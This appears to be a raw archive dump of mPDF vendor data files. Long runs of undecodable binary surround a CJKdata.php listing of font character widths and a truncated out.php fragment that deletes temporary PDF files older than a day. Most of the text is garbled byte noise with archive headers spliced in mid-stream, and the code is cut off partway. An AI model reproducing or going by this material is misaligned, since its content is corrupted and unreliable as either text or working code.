¶›¸¡¶–Ù"ŠÒ‹¶“–·’¸ŸÙZœÙQ˜¶ÙJ“Ò‘¸š¶›¶œ·’¸ÈÙvŸ¶Ùo˜Ð™¶›¶È¶ ÙœŠÒ‹¶“ ¼Ùç‡ÙÕ€šÙ¸˜Ù±¶˜Ò˜¶ÙÁš·Ù̶š·…Ò…—Ùà‡“—¶–ÈÚ¼”“¸™€˜Ò˜ÍÚ ÈÍ–Úˆº—Ú#–›—¶–ÇÛ¢Úÿ¡·Ú䶚—Ú€”Új…Ú^€˜Ò˜…š·¶–Úy”¼‡¶–›¸œÚ¿˜Ú —¶Ú›ŽÒŒ¶–˜Á’·Ú¯¶¸Ú¼·“¸¸ŸÚМһ·Úߟҷ€»Úõ·‚›Ò›»š¶‡¢¢ÎÛDZÎÇ¢ÄΪÜJ©˜ÛÆŠÛ4€¶“ÛAŠÒ‹“—Ûo…ÛU‚Ûj…҆Гґ™œÛ‰˜Û‚—¶–˜½™¶Ûšœ¸Ÿ·¶šÛ³—·œŒÒ“Íš¼”Ò˜Ò—žÜšÛå˜ÈÛ⢶˜Èš»ÜœÛú–Ò™œÒ™¼Ü»‡È¼ŸÜ1žÒÜ(œÑÒ˜“ÑŸœÐÜE“һЪ˜Ý3‘Ü…ŽÜ~‡ÆÜl»ÆÒÜuÆÒš¹„Ž»›–Ü¡‘¹“”Æ•Ò›¶‰–»€’Üö…Ü¿€Ò˜Á€ŠÜß…»ÜÚ·‰Ò…¹˜»„Š¾˜˜ÒŠ¶™Š¾˜”Ý ’ÆÝ ˜ÌƘݔ„Ò€¾˜ÒÝ*¶ÒŠ¶™žÝaœÝ^˜ÉÃÝP¶›ËÄÝYÃÄšœ¡Ýlž’¡¹Ý‹ŸÝ€’ÆŸÒ›¹€»Ý–¹€ÄÝ¡»„Ä€¬ä¥«ŽßX…ß5‚߀šÞMÝý‰Ýì€ÒÝãÄ„Ò¢Á„‰É·€‰É€Ë–ÞÒÞĀқØÞD–¶ŸÞ7š ¾š ¶™Ÿ˜š˜Ò™˜¶™¶ŸÞm›Þfš¶”‘¶”›Ò¢¢Þ–ŸºÞ„“ҒĻ޺»—¶–ÒÞ«¢¶€Òš€ËÒŸšß–ÞùŽ¶ÞÞ—Þ×€¶šŽÍ—¶–ÈÞí¶€¶šÍÞöÈÍ–¶šÁß š¶‡ÁŸßŸ‚Òß,ÑœÁ‘ÒœÁ‘‡ß@…ÑŠßK‡»Š¼„”¶‘à`ß»Ž¶ßž˜ß‚‚ҚПҘ¶ß•Ò€»Ž¶‚ÌŽ·ß­¶™·€·“߸€“¸ßË·™¶»ßظ™¶»˜à “ß›”ßý“·™˜”š·Ž¶˜šà˜¸Ÿà$š¶‡Ÿ¶àB˜à;“Ò’·˜Ð™ÒàW¶Ò˜Ò™ÍÒ“¶“žá‘Ò’¶à‡–à‚Á‡Ç–›·àœ¶“»—¶–¸á·˜àÔ຀ҚÖàÏ”ÈÁ‡Ç–››àÿšàç˜Ðš»àö„Ò‚»‘ÒšÍá ›¶—͸ŸáVž·á#—ÒáO·‚á9€»›”áH‚·š·”“Ò·Ÿ—â;Šá¤‚á€Âá|¶šÉÁÂœ†á™‚¸á”›Ë¸”†Ò˜¶š’ââ Š¼á»¸¼„”áä…á×Ò™›Ë…Òš˜»Çšáñ”¶œâšÆ Ä€œ·›Ä„”â!’Ò˜Á‰”Òš™â4‘¶›™»„Ÿâšâ\—ÈâYš¶Ÿ¸Èœâvš™Äâq¶„Ä„œ›Ò›·¸â¾·â»ŸÒ✸˜¶Ò“⩉˜ⶓ¹„˜Å·Òâþ¸”âÔ€¼›•âë”қ„Ÿ¶š•ÒŸÆŸÒšÁ…ҙ㠊¸Ÿã™¶Ÿ¸ã!¶¸”ã܇ãzƒãd€ÂãC¶–ÒãNœҚÄã_¶Æ„Ä€…ãsƒÒ›Ã…·“ã§ãš‡ÒšÆã—Ä™ÆÒš¶…Ë‘ãÉғ㺄“¶Æ„šÁ‰‘Òš“Ƙ¶“˘ä0•ãó”“Ò›¶–ä•Ò€¶–¸ä €Ò丄–„ËÒšÃä-Á…Ûä]šäK˜½™”¶…Ëš›ÀäZ€Ÿäw›Æän€Æ–„ËŸÒ䶉䊅‰ËÒš»€¶„›·…­õ¬“詉çFƒæfåꀻå>¶äë˜ää“Ò™¶˜Ò˜·å&¶šå–Ò™›å#š¸å·Ž¸Òå¸Ò™›·šå5…Ò…š·™¶ÏåcÈå\»åWŠ¸ŠÈ¶ÒålÏҚ唙勔¶›‡¸˜¿„™É¶„ŸåÒš·å²ªå¯˜»Æª¹å½·Äå͹ҙĘŸÐå嶓ҸЙ‚æ»æÒ·™»Æ‚И—¸šÈ—¶”‚Áæ8»æ1¶˜¸»š»ÄæEÁ¶Èæ_ÄšæZÒšš–ȓȆæ÷…æ}ƒ¶€È…Áæɶ枀ҟ晚Ÿ»·æ¾¶”氚滔˚·“ÒŠ¶ÂæÖÁŠ¸Ðæ㊸Кæ™É¶‡ç†Ð“‡¶ç“ç€Ë“˸ç-¶·€ÈÈçC¸œÈç@¸ÈÈ矋狊çc‰¼–»Š¼çp€ËÁç{¼…Á‡ÈçˆÇȌ瘋€ËŒ€Ë‘çêçÜÈçºÁ‡ÇÒçÕȖПŸÒÒš¶ÒšÃÂçç¶Â’è~‘Áè7·è€Ë»è·è“¶»šè(‚ÌšÒ—·€ÒŸÐèaÅè^ÁŸèUœÈŠ¶ŸÒ“¶ÅÒèlГҚÈè{»ÇÈ’˜è•“蒀˓Ðè ˜ÌИ˜È›ï©—ì&•ë””é“ÁèÞ¼èÙ·™¶˜¼‰ÅèíÁÒšÈèöÅÈœ€Ë”»ésé3Šé€ÒŸŽé,Š·”‘¶ŽÒŽšéR‘éOÒéJËÒš‘¶é_šÉ·¶›·él€·€¶Èéÿ¼é廚é¹é–‚Ò‚›”é²Òé­Òš¸Òš”•¶ŸéÈš·€ÈÐé֟ҔЅ…Є‚¶Áéô¼‡€ÈÁ€ÒÈÐêŠÉêÈ‘Èœ¸É¼êR¶ê-”ɔ˶›ê>“ɀ˛ÉÈêK¸È€¶Èêc¼‡È€ÈÈŠêp€È‘ꃊ·”¶Ë‘»˜Òê»Ðꪊ꧉…„ËŠ“ê¸Òš“Òš™ë‘êìŽêÚ‡¶‡“Ž¸ê綘¸–êù‘ÁŸ—ë–ÃŽ¸—¶ ë;œë#™Ä‚Ÿë4œÒ·Ÿ¶¶ëQ ¶šëN“šÈëx¶ëh‡Ò‰¶· ¶šÒ™È—뷔З”˖룕ҟǖÄëï“분˶ëÅ“Ò’“¶šëß“ëÚ€Ò™“Ë ëèš “ÈÐëúÄÒìПҚ컚ÒÒ™¶”¶›™î˜ì¼—Ã샼ìm¶“ìX‡ìQ…‡“Í–ìa“œìj–œ¼˜ì~š¼”˜·Äì”߇ҙÐì®Ä‡ì§‚¸‡“ÍП칓Ÿ˜·í…ìë„ìׂ҂Žìè„Ë‚›ËŽ í,“í Òí¸Ò€“Ò‘í¸ší%‘¸ššÒ¶íH ·í=¶·˜“Ò¶šíuí]‚̶Òím»›¶Òš¶›í‚š‚¶›Èí±½í£·“í Òš“Ãí®½™ÃÐíÍÉíÄÈ·ÉŠÒ‹ÒíîÐí逘¶š‚¶·Ò«íýŠÁ…«‚šîe™»î5¶î*“Òî!ËÒšÒ¶Òš¶ÄîF»€Ò·ÉîQĂɾî`¶‰Ë¾›šŸîъҟ¶„ÒîŽËÒŸ¸”ҋ‘¼˜îÈ”Òî¹ËÒ”…҅Й˜ÉÁÇÈï4¶îæŸÒ˜¸·ï¶î÷˜Ÿï·ŸÒï ·ÒšÒ·”ï#“¸”»Ðš™É¶™ÉïBÈ ¶ÐïŽÉÆï|¶ï[“˶Ÿïm“˙ȟ˟ҷÈï…ÆÈ’¶“ПïžÒ“ŸŸÒ˜¸Ÿñµñ¡œï›Š¶œ·ðïâŽïÛ…“ŽÒŽ“ð Òïó¸Òð·™Í»¶ð#“ÒðÑÒ¸¶“ðb…ð8€Ò™‘ðN…ÒðI¶Ò™‘¸ð_·“¸¸šðm“Ë ðxšÈ “ÈÈñ7»ñ·”ð½ð €¶š‘ð«Ñ‘Òð¶¼Ò™¶›ðì˜ðÝ”»ðØš·»›˜Ä€ÒŸŽÍŸðù›¶ŸŸÂŸÁñ'»ñŒÒ·‘ñ ‘Ò’Á›ñ2›¶Éñ[ÈšñP“·…‡¶šÈ”ËÐñiɶŸÐñŒñz€ŒÒ“ñ‹€Í“Í“ñž»“žñ°¸žÌžŽ¢ôÛ ô•Ÿ·ó'‘ò;Žò#‰ò„ÒñóË‚ñÈÒò€”ҔȜò¶šœ¶Ÿ‰Ò‰¶ò4ŽÒ‹¶“Òœ˜òc“òN‘Ò™“ÒòZËÒ¶š›òà˜Ðòƒ»òz™»‘ÒšÒòŽÐ™Ò–ò·”‘ò§Ò·Ðò²‘ÑБ—òÈ–»‘Ò’—¶Ÿ·òÙ“Í·“¸¶òí›Ò›¶šòþ€ÒŸ¸Ÿó š·ŸÒóÈ“·€ÒšÒÄó»óA¸ó>·¸½óN»“¸Áón½ŸÒógŸÒŠ¸ÒŠ¸Áœó}ŠÒ‹œÉ󔀶˜¶Ò™ÉÈ€¶ÈóÄÆó®Ä“Æ•ó½”ЕŸËÐóþÈ™óä˜ÉÄóßÃÄŸ ó󙶓ȠȂËÒô>Иô&€Òô€Òš¶…ÒŠ·˜”Ðô9ÉÈ‘¶ÐÒšôvô`€Ðô[“ҒГ–ôm¶“–¶“ËŸôƒšÄ¢ôŽŸ¸¢Â€ ¶ô¯‘ô¨€Ë‘ЙÅôǶŸôš¸ŸÈÒôÐÅÒ«‘Й®õ¢¸ôÿ¶ôö“ËŠ¶‘Ò™Òõ¸Òœ¸®­›õ3‡õ#€‡Ðõ.¶Ð™ŸõB›¶“ËŸ¶™±p¯ö¢®“õüˆõÊ‚õŒÒ›õƒ…šÒ…¶™›¶Æ„‡õ¡‚Á“·™¶™‡Ðõ¬¶Òõ·Ð™Òš½‡Òš¶”ŠõÛˆÒ˜ÄÇõìŠÆŽ¹„–¸‚Á˜€›ög˜ö“¶˜šö4˜¶Ë®–ö)€–¶€Ò™š¢öX ÀöS¶€Ëš À„À„¢Á…š¢¼…Ÿöv›¶“Ë®öŸŸ¼ö‰¶™Òö”¼šÒšÊ¹„®°Ó¯—êì„lV€šü_‘øú…÷S‚÷€Äö붛Ò÷ÄŸ÷›¶ ›Ÿ·“÷€¶“Òš¶„÷J‚Ò‚¶÷4¶¶š ¶÷G“Ò¶„ɶœ‡÷é…·÷¡š÷{€ÒŸ÷v»Ÿ»¶÷„š¶š¸÷ž·“÷›Ž¸“¸Ð÷°·ÒÒ÷ÁЀҟ»Ò†“÷ÒÒš¶÷ß“Ò‘¶“Ò‘ø8‡¶ø “¼”“¸™€˜Ò˜Òø¶·Òˆø-ƒ¶ŸÐ™ˆ¶ŸÐ™ÄøQ¶øKŸÑ¶“Òø’Ä—øv’øo‚˜“Í’¶šŸø…—¶‚¸Ÿ»‘Ò’·Ò“ø»‡ø¶€¶ø±˜Ò˜¶™‡“—øÕ“·øζ˜·™˜›øí—¼ø趖¼›€ÒŽÈ”ú’ù‹‘»ùX·ùÒ·“ùL‘ù=ŠÒ’ù8‹·’·‘Á–“·™˜ŸùU“ŸÁùg»€ÒÄùˆÁŸ—ù€˜Ò˜—¶–Ä“ù¼’¸ùž¶šÒù«¸¶Ò™¶ŸÒšÐ™“ÁùÜ·ù϶˜·“Ò“¶‘ÐùôÁÒšùñšÒùÿЙҟú”š˜Ÿ»Ÿ»—û–úº”‘úQúNÒúG¸Ò“Ò“¸»úg‘¸úd·€¸Òú™»ú~‚Ò‚›šú”Òšú‘ššŸÒšú±” ¶š—¶–š ¶š–Ðúõ¸úà“Ò’“ÍúÝ—¶–͸‡”Ò‡¶·ÒûÐŽÌÒœû™¶„Ò‚œ€Ò™˜ü—¶ûxûG€ÒûBŠ¸¸šûoÒ·û^€¶·€Èûl¶Èš·™¶ÄûãÁûÞ¶–û‚–‘ûº‡û±…›ÐҘš‡¶·“ûÍ‘ŸÒŸ“ȓÑ·ŠÒ‹·Á‘Òüć·ûö“¸ü·“¸¸Ò“Ƙ¶ü(ü#‚Ò‚··üK¶ŸüH‚ÌüC¶Ì̶ŸÐüX··Ð·¶þÛŸýF›ü¸š¶ü‹ŸüˆÒ·Ÿ¼ü³¶üª‡Ò™‡¶·Òš¸¼”œüø›Áüܶü׀ҎͶ—ÄüëÁ“¶Ä “·™˜œ”ýŽý …“ÈŽÒŽ¶ý)”Ò”€˜Ò˜¶Ÿý4‘Ÿ¸ýC—¶–¸§þ‡¢þRŸ¶ý–ýxŽÒ’ýq‹¶“’¶“˜ý…–Ò‘˜Ä’¶“Áþ)·ýò¶š”ýÃý¸ŠÒ‹¶“ÒšÀ˜™ýØ”¸ŸÆ“½šŸýå™Ä„Ÿ˜Ä’¶“·‘Ò’·šþ¶„»›¶€¶šš”ŸËšŠÒ‹Ðþ;ÁŸ“ЙЀÒþMŠ··¢„þ€‚Òšþ}‚¶š ¶þz“Ò¶š„Ò‚¯þÖ§‰þ¬‚þ¥€‰É¶‚Ò‚þ¹‰É¶ÊþÓÒþΊ˜˜Ê¯„Äÿí»ÿȶ™ÿt“ÿO’ÿÒ™¶Ž’·”ÿ€˜Ò˜—ÿH”Áÿ4¸Ÿ—¶ÃÿCÁ™Ò™Ã™—¶–˜ÿ^“·™˜˜¶‚Ìÿo¶Ì̶Ÿÿ¬šÿŸ™˜ÿ”“˜‚Ò‚˜¶‚̶š˜Ò˜ŽÍ¯ÿÁŸ“·€„Ò‚¯€Ä¾ÿ軘Ҙ¶ÿãÒ¶‘¾È(Æ%Ä¢ ‘·—¶–¯¢“¶¶¯€¶ÆÒ;È–Ò™¶„ÒšÅSÄ™P˜™ÅÒc¶„Ò‰»Æ‡‰„˜‚“Áǘ¹„Ž–‡¾„ŽÁѻ̶”´“ÄǘŔ¶“‡¶˜½™»„ÄÜÁÇÄÎçÇÎÇ‘¨ ½…‘ Ñ‘œu‚Òšr‚—YŠ?€š<˜Ò˜š”PŠÒ‹¶“”»šŸ¶f—¶–Èo¶ÈšÑ‚œÄ…ѾŽ½Ò—¾Ò”¼„¶È’µ‘À“Ë’·Æ¶·“ÁÚ¶™ÄåÁÇÄÇœQ™˜—ғ€˜»š'™Ò™”…҅Й›Aš¶œÐ<ŽÐŽ›¾N·…¾ŸwžmœÆj˜ÑÆž·“Ñ ¥Ÿ¶•“€“¶¸¢¶›¶¸¢° ·¢¶Á“¶‚¶™Ð€¶Ÿ™°™Šê€Ò™“õŠÏ“ÒšÒ‘·Jš$™»¶»’Ò™¶š¶œ3ŽÐ<ÐGŽŸdÒœša™ÌšŸ¼šÒ™³‹² ÷±—Œ…vƒ&€¶¥ŸÑÐ!¶Ÿ¹€ÈŸ”ï‘Ù‡¶±¡¶š·€“摶““·™˜›”Ò”Š·ŸÁ’È›ÒÄ€Ò¢ÈП„TƒÈQŸÆH„ÒŸ¶šÆŸ¶šÈ„Òc¡Ä„Ò€¶š–ҚLJ¨…¶‹…¶ŸÒ›¶Ÿ“ÍÒ…¶Ÿ“ÍŠ ‡ŸçŠ¸œÍ¸œÐޓҸГһ¶øŸÑ¶šŸÈ »ÈŠÒ‹‡È’0Œ¶š·€‘z—LД”ÉÈÒ]—ГÒÒ¶q”Ҕȶ”Ò™‘“Ê€“”‡¶·Ÿ¥“·œ¶”Ÿº‰Ò‡¶·ÒœÇœÒÓ“Ò’â‘·Ÿ™ñ’Ò™™¶“‘·–Òœ“'’̶“ÌÒœ‘Á ·€”“›o—_Z€ÒšS”¶›š¶”™˜l—¶–˜±¢†›Æ‘Ä“¢„Ò‚¶š±”·³¶—·œŒÒ“Í·“Ò“—¶–””'‚û€Òšò€˜·€¶–¶’šŸÄ”Òœ·Š‚Æš„ˊñ”‡¾„šR˜G”¶·€ŸÒ˜Ò˜ŸÆ¢_š¹Ä‰¢šp„Ÿ‚šŸ¶‘šŸ»—ÄŸž .š˜—¶Ÿ—ÜŠ¾€˜Ò˜“ÍŠÆš¸“·˜·Ò›þ˜ï—¶–˜“ÒÒš¸Ÿ ›¾Ÿ‰Ò‰¶™˜¶tŸ5€ŸÒ¢mŸ·WœPÒœ¶‘Òh·‘Ò’¸ÒŸ¢¶˜·¶ŸÑŠ·€Ñ™›ûš»¹¶¶Ÿ¶’·š¶‡¶Ä»ÉÓÄ “Òɼí»è¶›Ë»”Ãø¼”Ãœ ?›Ä€“ ŠÒ‹¶“· !“·Ÿ 6·ŸÒŸšŸÒŸšœÉ '¶‘ S‘” ­‘ Ž€¶š· s€È¸ ‹·Ž †€¶Ž¸¸‘¶™ ›“™· ¦€·€¶¶ ”Ò” ÝŠ·‚Ò‚¶ · Ö€·€¶¶ ò·˜Ä€Ò¶·˜Ä€ÒÄ $¶“»Ÿ¶Ÿ“Í !¸ÍÄɶ¡ ¦Ÿ PžÒ F’Ò‹Ò™  ˜Ÿ¶ O l‡Ò‡’ Iœ àŠ ·‚ ª€¶ –˜Ò˜¶š¸ §·“¸¸‚»›·€¶˜ ÈŠÒ‹¶“š Û˜“Ò‘¸ššŸ¶ Ÿ ùœ·‘Ò™¶ŸÒ ¶ŸÒÒšÒ¶“¼ 3¶› ,‚¶š›Ð™È F¼”€šŽÍÈ’ÈÐ ¶š g“œ¶‘  zšŽ€˜Ò˜ ÍÒ ˆÐÒš “‹š– ¶šÀ“Ç ç¡¶ ½‚›Ò›· ܶš Γš·€š¼”·‚›Ò›Ò óDZҙ þ˜™’ ˜Š G‡ /€¶š (“Ë€¶ššŽÍˆ <‡¾„ˆÒ˜ÄÇ aŠÆ XÃÆŽ¹„‘ ˆ˜Òš½ z»™½™ …™‘Å •¶“Ř Ò“ ­’Òœ¾” Å“Ð À¶˜Ð™”Òš¶€Ë¢ ݘ€§ î¢ÆŽ¶…§”¶™²Ò € ‰É¶¼”Òš·ÍÒ™“‡ å„ ¼ I€˜Ò›¶Æ„‚ ¢Ò `¶„ÂÒ˜ |‡ s…¸‡¶”Ëœ ˜Ä…€¶…Ë€‘Å…»ÇœÇ‚Á ¯„ËÁÒ˜¶Ÿ… É„¶š† Ü…Ò”¶”ˆ¶”Ëdˆ‡Ò¶”ˇ½“Òš½›Š<ˆÒ"¹„Ò˜1“½›˜ÄÇ…ÆŠÃN¹„ŠÃÑ[‚Á‘Å‚Á‘¹Â}¼…Ò†ÂÒš¼›„ˇ½š¼œ²…Ò”¶”˶˜Ò›Ã’ù‘¶Õ‘Á¹ô¶“ŠÄ™Ÿ˜Ò”Ÿ¶‘¹€’˜Ì™Ã–h”“ÅšŸË•c”¶:–Òœ‡Ò‡¶ÒN¶™K“™Òš¶€ËŠ›ËŠÃ•›—Ž–ÁyšÁ‰‘¹€…·Ò˜Ÿ—ғ€˜Éº¶“€˜Ò›¶Æ„ɶ˟Tšï™Ä”›Ë””›¶€Ë–»›>š½¼„Òœ¶“˼É/½”,…–¸ŠÃ”ɺҚ›ÒK¾ŸÒ˜½¢" ÿŸ½Å–“…Ò…¶”‡“»˜·”Гғ˜®–ÒœŸ¶’»€¶š˜Ò‚¶›ËŠ¹„¶ÆÛÄÖ½™ÄÇÒöÆ‚¶›ËŠ¹„¶Ò”À„ Á ¾™ÒÁ»Ò˜Ë©‚¢Ÿ;“»˜·ŸËŠ`…ÆW·ÒÆŽ„Ë¢kŠÃ¢¶ÌŸÁ…€ÒŠ¸©”¶™ÿÓ³–´”¥‘€”€Òš˜·€šÁ–»€¡ÌšŸ¡¹€ÿ€vendor/mpdf/mpdf/data/CJKdata.php000064400000014671147600022140012605 0ustar00 250, 33 => 250, 34 => 408, 35 => 668, 36 => 490, 37 => 875, 38 => 698, 39 => 250, 40 => 240, 41 => 240, 42 => 417, 43 => 667, 44 => 250, 45 => 313, 46 => 250, 47 => 520, 48 => 500, 49 => 500, 50 => 500, 51 => 500, 52 => 500, 53 => 500, 54 => 500, 55 => 500, 56 => 500, 57 => 500, 58 => 250, 59 => 250, 60 => 667, 61 => 667, 62 => 667, 63 => 396, 64 => 921, 65 => 677, 66 => 615, 67 => 719, 68 => 760, 69 => 625, 70 => 552, 71 => 771, 72 => 802, 73 => 354, 74 => 354, 75 => 781, 76 => 604, 77 => 927, 78 => 750, 79 => 823, 80 => 563, 81 => 823, 82 => 729, 83 => 542, 84 => 698, 85 => 771, 86 => 729, 87 => 948, 88 => 771, 89 => 677, 90 => 635, 91 => 344, 92 => 520, 93 => 344, 94 => 469, 95 => 500, 96 => 250, 97 => 469, 98 => 521, 99 => 427, 100 => 521, 101 => 438, 102 => 271, 103 => 469, 104 => 531, 105 => 250, 106 => 250, 107 => 458, 108 => 240, 109 => 802, 110 => 531, 111 => 500, 112 => 521, 113 => 521, 114 => 365, 115 => 333, 116 => 292, 117 => 521, 118 => 458, 119 => 677, 120 => 479, 121 => 458, 122 => 427, 123 => 480, 124 => 496, 125 => 480, 126 => 667, 17601 => 500, ); $this->Big5_widths=$cw; // GB $cw = array( 32 => 207, 33 => 270, 34 => 342, 35 => 467, 36 => 462, 37 => 797, 38 => 710, 39 => 239, 40 => 374, 41 => 374, 42 => 423, 43 => 605, 44 => 238, 45 => 375, 46 => 238, 47 => 334, 48 => 462, 49 => 462, 50 => 462, 51 => 462, 52 => 462, 53 => 462, 54 => 462, 55 => 462, 56 => 462, 57 => 462, 58 => 238, 59 => 238, 60 => 605, 61 => 605, 62 => 605, 63 => 344, 64 => 748, 65 => 684, 66 => 560, 67 => 695, 68 => 739, 69 => 563, 70 => 511, 71 => 729, 72 => 793, 73 => 318, 74 => 312, 75 => 666, 76 => 526, 77 => 896, 78 => 758, 79 => 772, 80 => 544, 81 => 772, 82 => 628, 83 => 465, 84 => 607, 85 => 753, 86 => 711, 87 => 972, 88 => 647, 89 => 620, 90 => 607, 91 => 374, 92 => 333, 93 => 374, 94 => 606, 95 => 500, 96 => 239, 97 => 417, 98 => 503, 99 => 427, 100 => 529, 101 => 415, 102 => 264, 103 => 444, 104 => 518, 105 => 241, 106 => 230, 107 => 495, 108 => 228, 109 => 793, 110 => 527, 111 => 524, 112 => 524, 113 => 504, 114 => 338, 115 => 336, 116 => 277, 117 => 517, 118 => 450, 119 => 652, 120 => 466, 121 => 452, 122 => 407, 123 => 370, 124 => 258, 125 => 370, 126 => 605, ); $this->GB_widths=$cw; // Japanese $cw = array( 32 => 278, 33 => 299, 34 => 353, 35 => 614, 36 => 614, 37 => 721, 38 => 735, 39 => 216, 40 => 323, 41 => 323, 42 => 449, 43 => 529, 44 => 219, 45 => 306, 46 => 219, 47 => 453, 48 => 614, 49 => 614, 50 => 614, 51 => 614, 52 => 614, 53 => 614, 54 => 614, 55 => 614, 56 => 614, 57 => 614, 58 => 219, 59 => 219, 60 => 529, 61 => 529, 62 => 529, 63 => 486, 64 => 744, 65 => 646, 66 => 604, 67 => 617, 68 => 681, 69 => 567, 70 => 537, 71 => 647, 72 => 738, 73 => 320, 74 => 433, 75 => 637, 76 => 566, 77 => 904, 78 => 710, 79 => 716, 80 => 605, 81 => 716, 82 => 623, 83 => 517, 84 => 601, 85 => 690, 86 => 668, 87 => 990, 88 => 681, 89 => 634, 90 => 578, 91 => 316, 92 => 614, 93 => 316, 94 => 529, 95 => 500, 96 => 387, 97 => 509, 98 => 566, 99 => 478, 100 => 565, 101 => 503, 102 => 337, 103 => 549, 104 => 580, 105 => 275, 106 => 266, 107 => 544, 108 => 276, 109 => 854, 110 => 579, 111 => 550, 112 => 578, 113 => 566, 114 => 410, 115 => 444, 116 => 340, 117 => 575, 118 => 512, 119 => 760, 120 => 503, 121 => 529, 122 => 453, 123 => 326, 124 => 380, 125 => 326, 126 => 387, 127 => 216, 128 => 453, 129 => 216, 130 => 380, 131 => 529, 132 => 299, 133 => 614, 134 => 614, 135 => 265, 136 => 614, 137 => 475, 138 => 614, 139 => 353, 140 => 451, 141 => 291, 142 => 291, 143 => 588, 144 => 589, 145 => 500, 146 => 476, 147 => 476, 148 => 219, 149 => 494, 150 => 452, 151 => 216, 152 => 353, 153 => 353, 154 => 451, 156 => 1075, 157 => 486, 158 => 387, 159 => 387, 160 => 387, 161 => 387, 162 => 387, 163 => 387, 164 => 387, 165 => 387, 166 => 387, 167 => 387, 168 => 387, 170 => 880, 171 => 448, 172 => 566, 173 => 716, 174 => 903, 175 => 460, 176 => 805, 177 => 275, 178 => 276, 179 => 550, 180 => 886, 181 => 582, 182 => 529, 183 => 738, 184 => 529, 185 => 738, 186 => 357, 187 => 529, 188 => 406, 189 => 406, 190 => 575, 191 => 406, 192 => 934, 193 => 934, 194 => 934, 195 => 646, 196 => 646, 197 => 646, 198 => 646, 199 => 646, 200 => 646, 201 => 617, 202 => 567, 203 => 567, 204 => 567, 205 => 567, 206 => 320, 207 => 320, 208 => 320, 209 => 320, 210 => 681, 211 => 710, 212 => 716, 213 => 716, 214 => 716, 215 => 716, 216 => 716, 217 => 529, 218 => 690, 219 => 690, 220 => 690, 221 => 690, 222 => 634, 223 => 605, 224 => 509, 225 => 509, 226 => 509, 227 => 509, 228 => 509, 229 => 509, 230 => 478, 231 => 503, 232 => 503, 233 => 503, 234 => 503, 235 => 275, 236 => 275, 237 => 275, 238 => 275, 239 => 550, 240 => 579, 241 => 550, 242 => 550, 243 => 550, 244 => 550, 245 => 550, 246 => 529, 247 => 575, 248 => 575, 249 => 575, 250 => 575, 251 => 529, 252 => 578, 253 => 529, 254 => 517, 255 => 634, 256 => 578, 257 => 445, 258 => 444, 259 => 842, 260 => 453, 261 => 614, ); $_cr = array( array(231, 632, 500), // half-width array(8718, 8718, 500), array(9738, 9757, 250), // quarter-width array(9758, 9778, 333), // third-width array(12063, 12087, 500), ); foreach($_cr as $_r) { for($i = $_r[0]; $i <= $_r[1]; $i++) { $cw[$i+31] = $_r[2]; } } $this->SJIS_widths=$cw; // Korean $cw = array( 32 => 333, 33 => 416, 34 => 416, 35 => 833, 36 => 625, 37 => 916, 38 => 833, 39 => 250, 40 => 500, 41 => 500, 42 => 500, 43 => 833, 44 => 291, 45 => 450, 46 => 291, 47 => 375, 48 => 625, 49 => 625, 50 => 625, 51 => 625, 52 => 625, 53 => 625, 54 => 625, 55 => 625, 56 => 625, 57 => 625, 58 => 333, 59 => 333, 60 => 833, 61 => 833, 62 => 916, 63 => 500, 64 => 1000, 65 => 791, 66 => 708, 67 => 708, 68 => 750, 69 => 708, 70 => 666, 71 => 750, 72 => 791, 73 => 375, 74 => 500, 75 => 791, 76 => 666, 77 => 916, 78 => 791, 79 => 750, 80 => 666, 81 => 750, 82 => 708, 83 => 666, 84 => 791, 85 => 791, 86 => 750, 87 => 1000, 88 => 708, 89 => 708, 90 => 666, 91 => 500, 92 => 375, 93 => 500, 94 => 500, 95 => 500, 96 => 333, 97 => 541, 98 => 583, 99 => 541, 100 => 583, 101 => 583, 102 => 375, 103 => 583, 104 => 583, 105 => 291, 106 => 333, 107 => 583, 108 => 291, 109 => 875, 110 => 583, 111 => 583, 112 => 583, 113 => 583, 114 => 458, 115 => 541, 116 => 375, 117 => 583, 118 => 583, 119 => 833, 120 => 625, 121 => 625, 122 => 500, 123 => 583, 124 => 583, 125 => 583, 126 => 750, ); $_cr = array( array(8094, 8190, 500) ); foreach($_cr as $_r) { for($i = $_r[0]; $i <= $_r[1]; $i++) { $cw[$i+31] = $_r[2]; } } $this->UHC_widths=$cw; vendor/mpdf/mpdf/data/out.php000064400000004265147600022140012151 0ustar0024 hrs old $interval = 86400; if ($handle = opendir(dirname($path.'dummy'))) { while (false !== ($file = readdir($handle))) { if (((filemtime($path.$file)+$interval) < time()) && ($file != "..") && ($file != ".") && substr($file, -3)=='pdf') { unlink($path.$file); } } closedir($handle); } exit; } vendor/mpdf/mpdf/data/linebrdictT.dat000064400001115267147600022140013574 0ustar00ÌOãÆ™[jÎSþ)(¿± n…^ U2 I2+k98v+98 1L'î ͵2§-2#²#ÄI21#Ú 2%ç1%I-@*'2+*858%+#2BI@7'5"JDGJDVBID i#%2( H| #+Ž1#8¨+!9£2"9H8!5äÒ8È48%412÷42#L4+5H1@'+1'@+%7-4Œ2j1  S %5 9b82922 }42# 44+2#@¤42*1  2@'5·4252!¡úó2!8î1@*28%5%4 4)2" 222–2XFCS295†4i2%4%ƒ#L8#5%9‘5H9#41$"#ä!8Ò%ÉB%%2(@Ý8@%(#-Æ™6  2! -1 2"p4IL5Z42#L5"Lm4L‘AŠ@%7-AH2!Ö­9# Ï4Ä1L48L 8!'g#,!  %#02H2##!L'%2'1#!ò©n ^R([( 4k‚L2L2”"8%4242#LÛº84Ë2*49Ö49#ë8#08!@Ð*¾%®!I7 .2)#L2# '2D2*k'b18L'452~*44L@§2“ 5#¤42##@'#%6¹56+É*0+2"B=A@ øï5"- 5 -5"-2A" *8#3#*DUB+P +"Db##*¹'!Š~‡"“!4´"@«I2@ 44*84L6 2R06-óA##-"!A#*#!* 9%2D#L1 0ö ~ È­1’'‚#8{5J8H-'-519¨5I9%2¸8Ã2"8 -é#0@4HHô-H- #0AH#0AH2 ì- o c B2@ O9@' \2'I2# l#0 —-  -A+91  01 ´ ± Ê#02" Ø5 ç4I5H8 m4 *2!   " !' '"'5 _4 D A# MK Z#4K'5K jIKH ð9 Í8" š Š#04K £"K! ¼#04K!#04K!9I ØK áIK#05KI þH2I- ò [ 5 >- "1 --1#0@ 9 I5H T9H- 1 Ž' l- w'"- ‚! ‹!4 Á2 ³1 ¥I ®I2" ¾"8 Õ4 Ò8H áH!#0 '" j 5 /2 1 '"14 !24 ,9 Z8 @5I8 K#0 4I e9HI-8 u58!5³ Â5 L1 Ó' §- »' ¸- Ç! Ð!2 â124 32  ù%2 ) 0B BI%7H)4 >H GH8 m6 ]5H7 h679 —8 